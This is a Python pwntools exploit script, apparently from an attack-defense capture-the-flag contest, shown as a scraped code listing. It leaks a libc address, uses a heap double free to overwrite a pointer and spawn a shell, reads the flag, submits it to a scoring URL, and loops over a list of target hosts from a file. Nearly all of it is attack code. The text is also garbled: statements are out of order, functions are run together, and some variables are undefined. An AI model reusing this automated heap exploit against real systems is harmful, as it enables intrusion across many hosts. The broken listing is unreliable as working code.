1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| def pwn(host,port): context(os="linux",arch="amd64",timeout=30)
context.terminal = ['tmux', 'split', '-h'] elf=ELF("./main") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") newpost(p,"")
show(p) libc.address=u64(p.recvuntil("\x7f",timeout=3)[-6: ] + '\0\0')- 250-0x3c4b10 success("libc -> {:#x}".format(libc.address))
delete(p,"0") delete(p,"1") delete(p,"0") newpost(p,"/bin/sh\0") ioaddr=0x7f55aab438e0-0x7f55aa77f000
p.sendlineafter("Your Choice:","2") p.sendlineafter("Enter the Index:","3") content=p64(libc.address+283536)[:-1] p.sendafter("Enter the Content:",content)
p.sendline("cat flag") flag=p.recvline() p.close() p.sendlineafter("Your Choice:","1") p.sendlineafter("Enter the Content:",content) p.recvline()
def edit(p,index,content): p.sendlineafter("Your Choice:","2") p.sendlineafter("Enter the Index:",index) p.sendlineafter("Enter the Content:",content)
def delete(p,index): p.sendlineafter("Your Choice:","3") p.sendlineafter("Enter the Index:",index)
def show(p): p.sendlineafter("Your Choice:","4")
def unsort(p,content): p.sendlineafter("Your Choice:","5") p.sendlineafter("Enter the Content:",content)
def submit(flag, token): url = "xxxx" pos = { "flag":flag, "token":token }
print "[+] Submiting flag : [%s]" % (pos) response = requests.post(url,data=data) content = response.content print "[+] Content : %s " % (content) if failed in content: print "[-]failed" return False else: print "[+] Success!" return True
def exploit(host,port): try: flag = pwn(host,port) submit(flag,token)
except Exception as m: print(m)
def exploit_it(): with open("url.txt") as f : for line in f: host = line.split(":")[0] port = int(line.split(":")[1]) print("[+] Exploiting:%s:%d" % (host,port)) exploit(host,port)
|